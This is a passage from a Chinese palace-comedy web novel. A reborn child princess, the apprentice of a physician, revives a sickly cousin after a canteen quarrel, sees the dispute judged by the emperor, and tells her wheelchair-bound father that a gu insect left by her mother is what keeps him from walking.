妙珠把食盒里的菜一盘盘拿出来,最后又摸出一个大纸包打开,里面竟是热乎乎的肉包子。 “哇!”唐蕊看得口水直流:“妙珠,哪儿来的包子?” 妙珠憨厚一笑:“俺…奴婢听容嬷嬷说,郡主饭量很大,怕午膳不够,刚刚偷溜出去买了十个肉包子。郡主尝尝,这家包子特别香。” “好!”唐蕊拿起包子咬了一口,眼睛瞬间亮了:“卤肉馅?好好次。” 肉很新鲜,一咬都是汤汁。 “郡主喜欢就好,一会儿放了学,奴婢再去买几个!” “好!回去后让嬷嬷把钱补给你哦。” “跑那么快,你饿死鬼投胎啊?”司徒安也坐了过来,他的小厮把菜都拿出来摆好。 只是…比起唐蕊面前五六个菜,他只有两个菜加一碗饭。 司徒安无语:“你吃得了这么多吗?” “可以哦!”唐蕊没好意思说,自己都不够的。 平时在家她每顿都要吃七八个菜,这里五六个,都是因为食盒太小。 还好妙珠贴心,给她买了包子,不然她还要饿肚子。 顾楠聿不动声色提着自己的食盒坐了过来。 他的菜也不少,五个,外加一碗饭。 司徒安服了:“你俩吃得也太多了吧?” “所以我长得高,你这么矮!”顾楠聿毫不留情插刀。 司徒安噎了一下,不服气的顾着腮帮子:“你也就比我高出一个头而已,我还会长的。” “我不会长吗?”顾楠聿斜睨了他一眼,开始炫饭。 正提着食盒寻找顾楠聿的司徒嫱看到顾楠聿竟然跟唐蕊坐在一起,脸都黑了。 第28章 再起冲突,连累无辜 司徒嫱当即舍弃了弟妹,也提着食盒走了过来:“唐蕊,走开,我要挨着顾哥哥坐。” 唐蕊眼珠子一转,懂了,立刻爬下板凳,跑到旁边的桌子上:“妙珠,把我的菜都端过来哦。” 心里却在不停吐槽:古代的女娃娃都这么成熟的么?这么小都知道给自己看对象了。 “是!”妙珠不爽的瞪了司徒嫱一眼,乖乖把菜端过去。 可司徒嫱不乐意了,大声呵斥:“站住!” 妙珠一时间都没反应过来司徒嫱叫的是自己,也没理她! 司徒嫱怒火中烧,冲过来推了妙珠一把:“狗奴才好大的胆子,竟敢给本小姐甩脸子,还敢无视本小姐,真是有什么主子就有什么奴才,你家主子是个野种,怪不得也教得你没规没矩。” 妙珠被推得一个趔趄,手里的菜盘子都差点飞出去。 懵了一秒后,妙珠总算反应过来了,当即想一盘子扣司徒嫱头上。 但…瞟到一旁的唐蕊,还是忍住了脾气,不给她惹麻烦:“俺…” “大胆!”司徒嫱打断她的话,稚嫩的脸满是刻薄:“一个奴婢,敢自称俺,今天我就代你家郡主好好教教你。” 说着,司徒嫱扬起了手,还没挥下去,一个小小的巴掌便甩在她脸上。 司徒嫱都被打蒙了。 在食堂的崽子们也都傻眼了,愣愣的看着踩在凳子上打人巴掌的唐蕊。 司徒嫱回过神来,捂着脸不可置信的看着唐蕊:“你敢打我?” “本郡主是郡主,你说得好听点,是太子叔叔的庶女,说得不好听点,就是一介白身,本郡主打不得你?” 小团子第一次发火,咬字清楚,脸色阴沉。 明明奶奶的一团,却自带一股上位者气势,此时崽子们面对她都好像看到了璃王本人。 一时间,所有人都忘记了反应。 唐蕊是真的很生气。 以前她还觉得司徒嫱年纪小不懂事,她这个活了两辈子的大人没必要跟个小女娃一般见识。 但是真的太烦了! 只要有司徒嫱在的地方,她就无法安生。 连吃个饭都不清净! 妙珠代表她的脸面,若今天真让司徒嫱打了妙珠,她的脸又往哪里搁? “说本郡主的陪读没规矩,那你的规矩又在哪里?本郡主的陪读哪里不好,本郡主知道教,轮得着你在这越俎代庖?你一个无品无阶的庶女,还想做本郡主的主,做璃王府的主,这就是你的规矩?” “你…你…”司徒嫱气得浑身发抖,想冲上去跟唐蕊拼了。 可司徒薇却拦住了她:“长姐,你冷静一点。” “放开我!”司徒嫱不依不饶,跟疯子一样:“今天我跟她没完!” “长姐…”司徒薇真的烦死这个蠢货了。 唐蕊说的话条理清楚,司徒嫱根本就不占理啊! 完了…拉不住… 司徒嫱挣脱开司徒薇,如疯狗一样扑了过去,撞翻了唐蕊踩着的板凳,也撞飞了唐蕊。 “郡主!”妙珠惊呼出声,根本就赶不及接住她。 崽子们只见那个小团子,如炮弹般高高飞起,自由降落。 N颗脑瓜子跟着她的飞行轨迹移动。 眼看白团子就要落地,两个小男孩好巧不巧走了进来。 唐蕊瞪大眼睛嗷嗷大叫:“躲开嗷…” 走在前面的小男孩吓得脸色一白,想都没想便躲开了。 后面的少年要大一些,却并没有躲开,反而伸手去接唐蕊。 “砰!” 唐蕊砸在他身上,脑子晕乎乎,只感觉几只小鸟围着她脑袋不停转悠。 而被她压在身下的少年,直接被砸晕了。 静! 死一般寂静! 食堂的小萝卜头们全都呆住了,就连罪魁祸首司徒嫱都不例外! “司徒郯!” 司徒安惊呼一声打破了安静,赶紧冲过去提起唐蕊放在一边,蹲下身摇晃着司徒郯。 叫司徒郯的孩子不过十岁,脸色苍白,躺在地上人事不知。 司徒安不知想到了什么,颤抖的伸出手去探他的鼻息。 下一秒,他脸色骤变:“完了,没呼吸了…” 司徒嫱也吓得不轻,想都没想便指着唐蕊:“是她,都是她砸的。” 小萝卜头们无语的看着她。 睿王家的幺女都看不过去了:“要不是你,郯堂哥怎么会死。” 有了她们开口,其他小萝卜头也开始指责:“没错,是你撞飞了昭华郡主,郯世子才会死。” “昭华郡主可没惹你,是你先找事的。” “现在闹出了人命,大人们问起来,我们也会老实说。” 司徒嫱慌了,不停大喊:“不是我,人是唐蕊砸的,跟我没关系。” 司徒薇不敢说话,只觉得完了。 只有司徒瑾,还在无脑帮司徒嫱说话:“你们都给我闭嘴,这事跟我长姐没关系,都是唐蕊的错。” “…”凭什么啊? 在这里念书的谁没点身份? 一个庶子和庶女而已,凭什么命令他们? 一群小萝卜们顿时吵了起来。 只有顾楠聿,第一时间去找周学士了。 唐蕊懒得搭理这两个死孩子,蹲下身不动声色握住了司徒郯的脉搏,还在问司徒安:“他是谁哦?” “是三皇兄辰王的嫡子,他从小到大身体都不好,太医院院首断言他活不过十二岁。” 司徒安六神无主,都不知道该怎么办了:“完了完了,三皇兄和三皇嫂就这一个嫡子,平时宝贝得跟什么似的,要是死在这里,三皇兄肯定不会善罢甘休的,我…我也会被父皇打死吧?” 虽然不关他的事,但这里就他的辈分最大啊! 昨天父皇还在说,让他这个做皇叔的管好小辈们。 可今天就闹出人命了! 还有三皇兄辰王! 平时不苟言笑本就吓人,现在嫡子也死了,三皇兄会不会把这笔账算在他头上啊? 啊啊啊… 到底该怎么办? 司徒郯不是很少来国学监吗? 为什么今天就来了? 司徒安抓着自己的头发,慌得一比! 他不知道,司徒郯在家躺了好几天,感觉都快长霉了。 今天感觉身体好了些,就想出来逛逛。 去的别的地方,他母妃也不放心,于是就跟庶弟来了国学监。 鬼知道会飞来横祸! 如果早知道,打死他都不会来的。 探脉的唐蕊:“…” 更是一言难尽! 这孩子的身体太差了! 第29章 这就是你教的好女儿 胎里不足,让他身体机能严重下降。 打个比方,正常人心跳一分钟至少都是五十次。 可这孩子,一分钟心跳次数根本没这么多。 不仅如此,免疫力底下,一点小感冒都有可能要了他的命。 太医说的十二岁,还是往好了说的。 照这脉象看,能不能活到三个月后都不好说。 “走开!”唐蕊推开司徒安,骑在司徒郯身上,使劲摁着他的胸口。 司徒安愣愣的看着她:“你这是在做…”什么… 最后两个字还没说完,就看到唐蕊掰开司徒郯的嘴巴,吻了上去。 司徒安眼睛瞪得老大,其他小萝卜头也注意到了这一幕,同样风中凌乱,感觉三观都收到了严重的冲击。 司徒嫱自以为抓到了唐蕊的痛处,尖锐且兴奋的嚷嚷起来:“唐蕊,你还要不要脸,司徒郯可是你堂兄,他都死了,你还敢侮辱他的尸体!” 唐蕊没理她,继续自己的动作。 还没死呢,只是休克了,再不急救那就真的死了。 司徒嫱指着唐蕊,眼底毫不掩饰的幸灾乐祸:“都看到了吧?唐蕊轻薄郯堂兄的尸体,外面的野种就是不知廉耻,年纪这么小就知道勾引男人了,还是勾引的自己的堂兄,这种不顾人伦纲常的东西,有什么资格做郡主?” 她话音刚落,司徒郯清醒过来,猛的咳嗽出声。 司徒嫱噎住了。 小萝卜头们也震惊了! 司徒安像是看到了鬼一样:“你你你…你怎么活了?” 唐蕊没好气道:“什么活了哦?他本来就没死,只是身体太虚,进入了假死状态!” “哦~”司徒安恍然大悟:“所以你刚刚不是在轻薄他,是在救他?” “废话!”唐蕊看向司徒郯:,轻轻拍打着他的背“郯堂兄,你好些没有哦?” “嗯…咳咳…”司徒郯止住自己的咳嗽声,温和的看向唐蕊:“多谢你救了我!” “木事哈,连累你了,我才不好意思哦!” “没事!”司徒郯站起身来。 周学士此时也赶来了,看到司徒郯好好的,狠狠的松了一口气的同时,开始秋后算账了:“到底怎么回事?” “是她!”司徒安当即指着司徒嫱,把经过完完整整说了一遍。 司徒嫱又急又怒:“胡说八道,关我什么事?要不是唐蕊打我,我也不会撞她,明明是唐蕊的错。” 唐蕊悠悠的瞥了她一眼:“所以你的意思是,我就应该让你打我的陪读吗?谁的陪读代表谁的脸面,所以说白了,我就应该让你打我的脸咯?” “你…” “够了!” 司徒郯打断司徒嫱的话,朝周学士拱了拱手:“学士,给你添麻烦了,这件事还是禀告皇爷爷吧,是非对错,让他老人家定夺。” “好…”周学士闻言默默的松了一口气。 在座的都是皇子凤孙,他哪个都得罪不起。 … 一个多时辰后! 皇宫,皇帝书房! 司徒郯和司徒安站在一边,司徒嫱和唐蕊跪在下面。 太子和璃王坐在旁边,前者脸色阴沉,后者一片风轻云淡。 辰王坐在末位,没管他们之间的拔剑弩张,只担忧的盯着自家儿子瞧。 皇帝揉着眉心,头疼的看着下面两个孩子。 司徒嫱咬着唇瓣,一副受了天大委屈的模样,眼泪不停在眼眶里打转。 太子拱手:“父皇,这事说来说去还是昭华的错,要不是她先动手,也不会变成这样。” 璃王嗤笑一声,漫不经心道:“所以太子的意思是,只要不动手,你的女儿就可以随意言语挑衅当朝郡主了?” 太子脸色一沉:“七皇弟,堂姐妹之间拌几句嘴,算多大的事?我们小时候不也拌过嘴?难道因为拌嘴就要动手吗?” “拌嘴?”璃王看向司徒安:“来,十一皇弟,把司徒嫱在国学监说的话再重复一遍。” “哦!”司徒安点点头,当即学着司徒嫱那样露出尖酸刻薄的嘴脸:“狗奴才好大的胆子,竟敢给本小姐甩脸子,还敢无视本小姐,真是有什么主子就有什么奴才,你家主子是个野种,怪不得也教的你没规没矩。” 说罢,司徒安又跳到另一边,指着皇帝…却遭到皇帝一个冰冷的眼神。 司徒安浑身一个激灵,赶紧转移手指指着太子:“轻薄郯堂兄的尸体,外面的野种就是不知廉耻,年纪这么小就知道勾引男人了,还是勾引的自己的堂兄,这种不顾人伦纲常的东西,有什么资格做郡主?” 太子:“…”感觉在骂他,但是没证据! 司徒安演完,尖酸刻薄的表情一秒收敛,变得恭恭敬敬:“父皇,这些都是原话。但其实唐蕊没有轻薄司徒郯,而是在救他。” 司徒郯点点头,脸色依旧苍白,摇摇欲坠,犹如林黛玉附体一般:“皇爷爷,十一皇叔说得没错,昭华确实是在救我,要不是昭华,您这会儿都看不到孙儿了。” 皇帝神色微缓:“好孩子,你受苦了。” 几个孙辈当中,要问他喜欢的确实不多,司徒郯算一个。 无他,这孩子明明是老三的种,却像小七一样,三岁就博览群书。 当年立太子时,小七双腿残疾,其实他都想考虑老三的,为的就是这个孩子。 但这孩子身体太差了,太医断言他活不过十二岁。 无奈之下,他只能改立老二。 好歹跟小七一母同胞,就算以后老二登基,也会善待老七。 可…他想错了。 因为皇后的挑拨与偏心,这两个孩子关系关系越来越不好,直到现在水火不容的地步。 司徒郯拱拱手:“孙儿不苦,但昭华救了孙儿,还请皇爷爷不要怪罪于她。” 司徒嫱一听不乐意了,哭着道:“凭什么?明明是她的错。” “你给朕闭嘴!”皇帝怒吼一声,司徒嫱吓得都忘了哭,愣愣的看着他。 皇帝后知后觉不该对一个孩子撒气,转头怒视着太子:“这就是你教的好女儿,不敬兄长,不爱弟妹,跟那些小官后宅的庶女一样小家子气,只知道吃醋善妒,惹是生非!” 第30章 不打自招 这话可谓是相当的重了。 司徒嫱哭得上气不接下气,偏偏还不敢哭出声,别提多难受了。 太子脸色铁青,起身跪下,心里把司徒嫱这个蠢货骂了一遍又一遍:“父皇,儿臣没教导好女儿,让父皇烦心,都是儿臣的错。但一个巴掌拍不响,说到底昭华也不该动手。” 辰王都忍不住了,他知道太子不要脸,但没想到这么不要脸:“那你女儿就该推人吗?还一个巴掌拍不响,我扇你女儿一巴掌,你看响不响!” 太子磨牙:“老三,你胡说八道什么?” 还嫌不够乱吗? “你以为我想说?郯儿就是我的命,他要是有个三长两短,你拿什么赔?太子连自己女儿都管不好,何以管天下?” 要是太子好好道歉,有错就认,他还不会这么生气。 可踏马事情都出了,只会推卸责任,想拉人下水。 辰王这一刻真觉得挺悲哀的,为自己的嫡子悲哀,也为大夏江山悲哀。 司徒嫱最怕这个三皇叔,这下真的不敢哭了,脸色发白跪在地上,恨不得自己不存在。 太子脸色骤变,赶紧去看皇帝! 皇帝脸色沉沉,看不出喜怒。 书房陷入一片窒息般的沉静! 就在这时,唐蕊朝皇帝磕了三个头。 咚咚咚! 一下都不带虚的。 再抬起头来时,小包子额头都红了,一包眼泪在眼眶里打转,强忍着不让它流下来。 “皇爷爷,今天这事昭华也有错,还连累了郯堂兄,昭华心里真的非常过意不去。昭华明日会去三皇叔府上,给郯堂兄赔罪。只求皇爷爷不要生气,要是气坏了身体,昭华不是成了千古罪人哦?” 皇帝脸色缓了缓。 辰王瞥了太子一眼,故意跟司徒澈道:“还是你会教孩子。” 今天这事谁对谁错另说,最重要的是他的孩子受到了伤害啊! 太子和司徒嫱完全抓不住重点,说到底还不是没把他的崽当回事。 倒是唐蕊,态度端正,有错就认。 司徒澈有点心虚,面上却一片淡笑:“三皇兄谬赞了。” 皇帝冷声道:“司徒嫱,禁足三月,罚抄孝经一百遍,不得假手于人。至于昭华…” 说到昭华,皇帝顿了顿,眼神温软下来:“就罚你明天上门给你郯堂兄道歉吧!至于这跪拜之礼,以后也免了。” 小团子跪着磕头这么狠,太实心眼了。 可别把脑袋磕破了。 司徒嫱脸色惨白,整个人也摇摇欲坠。 不甘,嫉妒,愤怒,各种负面情绪快要把她淹没了。 “是,昭华认罚,谢谢皇爷爷开恩。”唐蕊说罢,又小大人似的朝司徒郯拱了拱手:“郯堂兄,昭华明日就上门给你赔罪!” 两个孩子的态度,再次让皇帝对司徒嫱格外失望,疲惫的挥了挥手:“散了吧!” 太子愤愤不岔,瞪了司徒澈一眼,带着司徒嫱离开了。 司徒澈和辰王也带着自己的孩子离开。 一路到宫门口,辰王推着司徒澈往前走,不时聊几句,倒是身后两个孩子叽叽喳喳的。 好吧…都是唐蕊在叽叽喳喳,司徒郯小小年纪文质彬彬,脸上带着温和的笑,不时附和几句。 司徒澈由衷感叹:“郯儿小小年纪,颇有君子之风,实在难得。” “都是他母妃教的,可惜…”辰王看着优秀的儿子,想到他活不过十二岁,心里一阵悲凉。 司徒澈看着自己的腿,眼底一阵黯然:“也不知道神医谷到底在哪儿…” 后面的唐蕊耳尖的听到了自家爹的话,随口说了一句:“爹爹,你在找神医谷吗?” 司徒澈不语,盯着自己的腿,神色难掩落寞。 辰王淡淡一笑,接过话来:“是啊!听说神医的医术出神入化,只是他太过神秘了,见过他的人很少。你爹,还有你郯堂兄,都等着神医救命呢!” “可素神医也救不了郯堂兄呀!” 唐蕊随口一句话,让两个大人加一个孩子猛的停下脚步,齐刷刷的看了过来。 唐蕊后知后觉自己嘴快了,赶紧捂住嘴巴退后一步,眼珠子瞪得溜圆! 司徒澈想到她提过的师傅,突然灵机一动:“唐蕊,你师傅就是神医对不对?” “不是哦,爹爹你别乱说!”唐蕊又心虚的退后了一步。 得! 不打自招! 司徒澈与辰王互视一眼,又齐齐看向唐蕊,脸上的表情瞬间切换成大灰狼哄小白兔的专属表情。 辰王来到唐蕊面前蹲下,忍住心里的狂喜,尽量让自己语气温和一些:“昭华,我们没有冒犯神医的意思,只是想请他帮忙救命,就算…就算你不考虑你郯堂兄也没关系,毕竟你刚回来,和郯堂兄不熟悉。但…你也不能不管你爹爹吧?你爹爹可是大夏战神,他生来就该在战场上驰骋,难道你想看你爹爹一辈子都坐在轮椅上吗?” 司徒澈也垂下眼眸,握紧拳头放在自己的腿上:“昭华,我只想求个结果,如果神医说不能治,我也能死心。” 唐蕊:“…” 得! 再装下去就没意思了。 死嘴啊! 怎么变成小孩子后,脑子也跟着不好使了呢! 唐蕊放下手,无奈道:“爹爹,三皇叔,不是我不告诉你们神医谷的位置,而是我只知道个大概。最重要的是,师傅脾气非常怪,尤其讨厌男人和外人。神医谷周围都是毒物沼泽和猛兽,山下还有机关阵法,进去就是死路一条。除非,谷里的人自己出来,不然别人是进不去的。” 辰王赶紧道:“既然你都说了,是你师傅,那你也进不去吗?” 唐蕊小手一摊:“我生下来就在神医谷,出来找爹爹也是师兄带我来的,毒物猛兽就算了,它们都是师傅的宠物,也认识我,不会伤害我,但机关阵法师傅没教过我。所以,除了师傅或师兄自己来找我,单凭我一个人,是回不去的。” 辰王闻言神色黯然。 司徒澈也苦涩一笑:“看来我这腿是真没办法了。” 唐蕊这时却道:“也不是啦,我虽然医术不咋地,但我会毒和蛊术。爹爹,其实我能帮你看看的。” 司徒澈闻言一愣:“你行吗?” 唐蕊嘿嘿:“试试嘛,要是我不行,那就只能等师傅或师兄来找我了,他们不可能一辈子不理我的。” 司徒澈:“…”总感觉你很不靠谱啊! 辰王也重新燃起希望:“那郯儿呢?昭华,你能给他看看吗?” 第31章 娘亲是在救你 他和司徒澈想的不一样,昭华年纪虽小,但好歹神医的徒弟不是? 世人把神医传得神乎其技的,神医的徒弟能是简单人物吗? 唐蕊迟疑片刻,依依不舍从兜兜里摸出一个小瓷瓶递给他:“在国学监的时候,我给郯堂兄把过脉了,郯堂兄的病是娘胎里带来的,就算是我师傅也没办法医治,最多只能帮他续命。很巧哦,续命的阴阳无极丹,我离开时从师傅身上顺来了,只有三颗,一颗可以保郯堂兄三年无恙。” 三年? 辰王眼睛一亮,宝贝似的接过丹药,激动得都不知道该说什么才好:“昭华,大恩啊!三皇叔真的不知道该怎么感谢你才好。” 司徒郯一听自己还能活九年,脸上终于显露出一丝属于他这个年纪的欢喜。 他像模像样朝唐蕊弯腰拱手:“堂妹,多谢,回去后我会让母妃备上重礼!” “嘿嘿,木事,木事,太客气咯…” 唐蕊其实很舍不得的,但救人一命胜造七级浮屠嘛,郯堂兄人还不错。 最重要的是,她想让自家便宜爹当太子。 就算自家爹做不了太子,其他皇叔也行。 只要不是司徒霄,都好。 所以,打好关系是必须的。 太子和自家爹的关系本来就不好,要是哪天司徒霄登上帝位… 唐蕊打了个寒颤,不敢想了。 “对了!”唐蕊想起什么,又一本正经道:“三皇叔,这丹药三个月服一颗,不能早用哈。还有就是,我师傅说过,这阴阳无极丹,是用千年份的天山雪莲和千年份的极地火莲炼制的,无比珍贵,目前世上就这三颗哦。你也不用想着再去寻这两样东西乐,师傅曾经跑了很多地方,也只寻到这三份药材。” “这样啊…”辰王有些惋惜,他刚想着去寻药材,以后等唐蕊师傅找来了,好拜托唐蕊师傅再炼制。 司徒郯倒是看得开,笑道:“父王,已经够了,我今年十岁,昭华又帮我争了九年的命,足够我长大,给你与母妃留下一子半女了。” “嗯…”辰王眼眶发热,很是心疼这个孩子。 老天给了他过人的天赋,却没有给他充足的寿命。 不! 就算唐蕊说没有这两种药材了,他还是得让人去寻。 万一能找到呢,孩子不就又多了三年寿命? “既然如此,我这就上奏父皇,给你请封世子。” 以前孩子活不长,也没给他请封。 现在不一样了,十二年寿命的诅咒被打破,孩子也能留下后代,理该请封世子。 以后他有了后,还能世袭。 辰王父子对唐蕊千恩万谢,连带着司徒澈都跟着受了益。 因为离开时,辰王拍着司徒澈的肩膀,郑重承诺:“七皇弟,如果你还能站起来,想要争上一争,我会永远站在你这边!” “多谢三皇兄!”司徒澈点了点头,又道:“蕊蕊师傅的事…” 辰王心领神会:“我懂,此事我只会告诉我的王妃,她是个嘴牢的人,不会多说。昭华救了郯儿的命,她只会感激昭华,守口如瓶!” 司徒澈拱手:“多谢!” “是我要谢谢你,养了个小福星!” 辰王以前就觉得唐蕊聪慧可爱,现在多了救命之恩,他的滤镜越发严重了。 上了各自的马车,司徒澈还不忘严肃着脸叮嘱唐蕊:“以后不能透露你师傅的事。” “我懂我懂哦!”唐蕊冲他挤眉弄眼:“我师傅太厉害乐,想找她救命的人非常多,别人就算了,三国皇帝年纪都不小啦,要是知道我是师傅的弟子,我就没清净日子啦!” “你知道就好!”司徒澈唇角微翘,有些骄傲。 他的种就是聪慧,跟他小时候很像! “爹爹,我给你把把脉吧!” 唐蕊如此建议,司徒澈当即伸出了自己的手。 半刻钟的时间,唐蕊脸色变了又变,时而皱眉,时而无语,时而老气横秋的唉声叹气。 司徒澈看得眉心直跳:“本王要死了吗?你这是什么表情?” 唐蕊摸着下巴,盯着他的腿良久,问出了一个风马牛不相干的问题:“爹爹,你以前中过毒,还是剧毒芙蓉殇,对不对?” 司徒澈点头:“确实如此。” 唐蕊又问:“那你是不是中毒后,我娘才趁虚而入把你办了?” 司徒澈闻言老脸一黑,咬牙切齿:“唐、蕊!” 唐蕊睁着乌黑的眸子瞅着他,很是无辜:“爹爹,我是为了治你的腿才问的哦。你出去打听打听,很多病症大夫是不是都要问清楚,才能确定病因?” “…”这话好像也没毛病! 司徒澈狼狈的别开视线,咬牙吐出一个字:“是!” “懂了!”唐蕊点点头,又神来一句:“爹爹,快去找娘亲吧,找到娘亲你就能站起来乐。” 司徒澈闻言差点被自己的口水呛到,满脸不可置信:“她不是死了吗?” “但她好像还没死!”唐蕊指着他的小腹处:“你身体里有金蚕蛊,这世上只有我娘才有这东西,蛊还活着,证明主人也活着哦。而且,除了主人谁都取不出来。” “等等!”司徒澈有些没听懂:“我不是中了毒吗?怎么还会有蛊?” 唐蕊娓娓道来:“金蚕蛊这种东西,认人哦,只有染上主人的气味,它才愿意挪窝。我娘当初跟你睡觉,应该是在救你…” 当然也不排除贪图便宜爹的美色,毕竟这话是她在肚子里亲口听便宜娘说的。 “她想让你染上她的气味,把金蚕蛊过渡到你身体里,帮你吞噬身体里的毒。但我不知道为什么,她不跟你说一声就跑咯。这么多年了,你身体的毒早就没了。站不起来是因为金蚕蛊在你身体里,刚好压住你的坐骨神经咯。” 司徒澈瞪大眼睛,被这一系列话惊得久久回不过神来。 当初那个死女人,是在救他? 开什么玩笑? 他从没听说过这种救人的方法! 但… 仔细回忆一下,那女人强上他时确实说过一句他听不懂的话:“现在是不是恨不得吃了我?但你以后会感谢我的。” 最重要的是,他中的毒可是北狄特有的芙蓉殇,世上根本无药能解。 可他只是残废,却没有死! 当初他还以为自己是命不该绝! 没想到… 竟是这样吗? 司徒澈心情无比复杂,一时间都不知道该说什么才好。 他恨了多年的女人,竟然是他的恩人? “为什么?”司徒澈眼底满是茫然,喃喃道:“女子名节何其重要,她与我非亲非故,为什么要自毁名节救我?” 第32章 爹爹,你难道不知道自己很受女子欢迎吗? “爹爹,其实你可以撒泡尿照照你自己哦,你长成这样…这样…” 唐蕊夸张的比画了一下,终于找到一个合适的词:“绝色,对,你长得这么绝色,还文武双全,女子对你一见钟情很正常吧?不光是我娘,王府里的母妃和庶母们,哪个不喜欢你?就算有不喜欢你的,你稍微释放那么一丢丢魅力加柔情,哪个女子抵抗得住哇?” 司徒澈:“…………” 有、有吗? 他长得也很一般啊! 司徒澈摸了摸自己的脸,更茫然了。 很明显,这涉及到了他的知识盲区。 他懂事开始,要么念书要么练武,儿女情长之事他不懂,也不理解。 从小到大,他没遇到过什么心动的女子。 对他来说,世间女子都长着一样的脸,而他也很平平无奇,不过芸芸众生中的一员。 唐蕊看他这样子,一脸狐疑:“爹爹,你难道不知道自己很受女子欢迎吗?” “本王…不知道…”司徒澈完全没有自觉。 以前得胜回京,路途中有女子给他扔荷包手帕,他还说这些女人袭军,让人把她们抓了起来,要么就是直接砸回去。 久而久之,就没女人给他扔手帕荷包了。 他还挺欣慰的,这些女人终于不知法犯法了! 所以,那些女子其实是喜欢他?给他扔荷包手帕是对他表露心意? 司徒澈摸了摸自己的脑门,无语嘀咕:“这些女子真是小家子气,想什么说出来不行?非得打哑谜乱扔东西。” 唐蕊:“…” 钢铁直男! 纯种的! 牛逼! … 回到王府,唐蕊一下马车就朝厨房冲去。 由于她经常光顾,厨子们早就跟她熟悉了,还会备好各种点心等着她。 唐蕊也不小气,摸出银花生打赏他们,还把早就冷掉的菜给他们帮着热一下,就在厨房开炫了。 午膳因为司徒嫱,又没吃到。 折腾一天,肚子早就咕咕叫了。 对! 还有奶奶! 这个必须得喝,补钙,长高! 南方小土豆虽然可爱,但她还是想多努力一下,挣扎一下。 司徒澈则是回到书房,画了唐蕊娘亲的画像,招来清风,让他去寻。 清风离开后,司徒澈发了会儿呆,然后又让下人推着轮椅去了秦芷嫣院儿中。 秦芷嫣看到他,赶紧迎了上来,眼底掩饰不住的喜色与爱意:“王爷,您回来了。” “嗯…”司徒澈这次把她眼底的情绪看得清清楚楚,难得有些不好意思了,轻咳一声问道:“王妃,本王有一事想问你。” 秦芷嫣笑着点头:“王爷请说,妾身听着呢!” 司徒澈默默别开视线,耳垂染上了一抹绯色:“本王…是不是很…绝色?” 啊这… 秦芷嫣红了脸,羞涩一笑:“王爷…确实很绝色,妾身第一次见就…就喜欢…” 司徒澈:“!!” 唐蕊没乱说,还真的是。 司徒澈觉得好尴尬,但又很想知道:“那…那什么…你是不是因为本王绝色,才喜欢本王?” “初见肯定是因为这个,才喜欢…毕竟没有女子会喜欢丑的,但相处过后…” 秦芷嫣脸色红得像是煮熟的虾子一样,声音也轻得微不可闻:“容貌只是其一,王爷除了容貌,文武双全,乃世上最好的男儿,妾身…非常喜欢…” “…”所以还是因为脸咯? “咳…本王晚点来陪你用膳,先走了。” 司徒澈扔下这话离开。 秦芷嫣神色一喜,赶紧让徐嬷嬷开始准备晚膳,还都是点的司徒澈爱吃的菜。 而司徒澈又辗转去了顾侧妃的院子,问了她同样的问题。 人淡如菊心有所属的顾侧妃,默默看着司徒澈那张美得天怒人怨的脸,脸也渐渐红了:“王爷…问这作甚?” 问过了秦芷嫣,司徒澈已经淡定了,微微一笑:“就问问…” 本就好看,还冲她笑得这么温柔… 顾侧妃垂下眼眸,脸上不由自主飘起两朵红霞,死寂的心都快了几分:“郎艳独绝,世无其二…” 太子长得更像皇帝,而司徒澈长得像皇后。 就容貌的话,太子确实不及司徒澈半分。 可…她不是个水性杨花的女子啊,心里已经有太子了,为何还会对璃王脸红心跳? 顾侧妃矛盾了,苦恼了… “…”王妃和侧妃都觊觎他的美貌! 司徒澈不信邪,又去了朱庶妃的院子里,问出同样的问题。 正啃猪蹄的朱庶妃懵了几秒,扭扭捏捏背过身去,最爱的猪蹄儿都被她随手扔到一边,还不动声色擦了擦油乎乎的嘴:“王爷自然很好看,妾身…很喜欢…” 咋地咋地? 王爷终于看到她的好,要跟她睡觉了吗? 哦,老天奶! 她还没准备好啊! 好紧张,好激动。 一会儿她是在下面,还是在上面好? 王爷腿脚不便,那她应该在上面自己动吗? 啊啊啊… 朱庶妃激动着激动着,眼前一黑,软软的朝司徒澈倒了过去。 司徒澈及时接住她,眉头微蹙:“朱庶妃,没事吧?” 这朱庶妃,太胖了,有点沉啊! 要不是他这些年一直在坚持锻炼,估计都接不住她。 朱庶妃刚睁眼,就是近距离的美颜暴击。 “!!”美男! 朱庶妃一个激动,彻底晕了过去。 司徒澈:“…” 至于么? “王爷恕罪,庶妃…平时不这样的。”侍婢诚惶诚恐跪下。 “无事,照顾好你家庶妃。” 司徒澈扔下一句,又去了李姬院儿里,还是那个问题。 “自然…绝色…”李姬俏脸一红,随手抓起一边堆着的银票羞涩的递给司徒澈:“几日不见,王爷清瘦了,这些是妾身孝敬王爷的,王爷平时…可以来多看看妾身吗?” “…本王会多抽时间来看你,银票你还是自己留着吧!” 司徒澈落荒而逃,也没再去张姬院里。 几个女人都贪图他的容貌,估计张姬也差不多。 这时,司徒澈才对自己的容貌有了个清晰的认知。 原来他人见人爱,花见花开! 事后王府几个女人聊天时说起此事,张姬才知道,她被漏掉了。 就很不服气! 凭什么? 王爷问了这个问了那个,就是不问她? 是对她有意见吗? … 第33章 为夫者,其妇之责 因为这事,张姬连带几天都冷着脸。 司徒澈本来就是个钢铁直男,丝毫没察觉张姬的小情绪。 下午到了饭点,准时去秦芷嫣院儿里报道! 君子一言驷马难追,他答应过秦芷嫣的,自然要做到。 本来跑秦芷嫣院儿里找她玩的唐蕊,麻溜的滚了。 她才不要当电灯泡。 只是滚的时候,唐蕊认真建议:“爹爹,要不今晚你就留在母妃这睡觉吧!” 秦芷嫣一张脸瞬间红得滴血,又气又羞:“蕊蕊别胡说,王爷,妾身绝对没有教蕊蕊说这种话。” 她是真怕司徒澈误会。 但司徒澈早就开始适应唐蕊不时的口出狂言了。 瞪了她一眼,又狐疑的看向秦芷嫣:“你…不是说喜欢本王?” “是…是的…”秦芷嫣紧张的揉着手里的帕子,根本不敢跟司徒澈对视,更不懂司徒澈为什么又要提这个。 司徒澈这个钢铁直男见她这副模样,自动理解为抗拒。 所以,说什么喜欢都是假的吧? 唐蕊扶额,再次助攻:“爹爹,母妃是在害羞,更担心你误会她利用我争宠哦。母妃,爹爹很直的,你想什么一定要一五一十全部说出来,不然他会误会你说喜欢他是假话。” 啊? 这…这样吗? 秦芷嫣赶紧道:“妾身没有说谎,妾身…妾身是怕你误会妾身,利用蕊蕊…” “哦…”司徒澈这才听懂,尴尬的咳了一声:“本王是你夫君,理应跟你同床共枕,只要你不嫌麻烦…” “不麻烦,不麻烦,妾身…很欢喜…”除了欢喜还很紧张。 成亲几载,这还是王爷第一次与她同房。 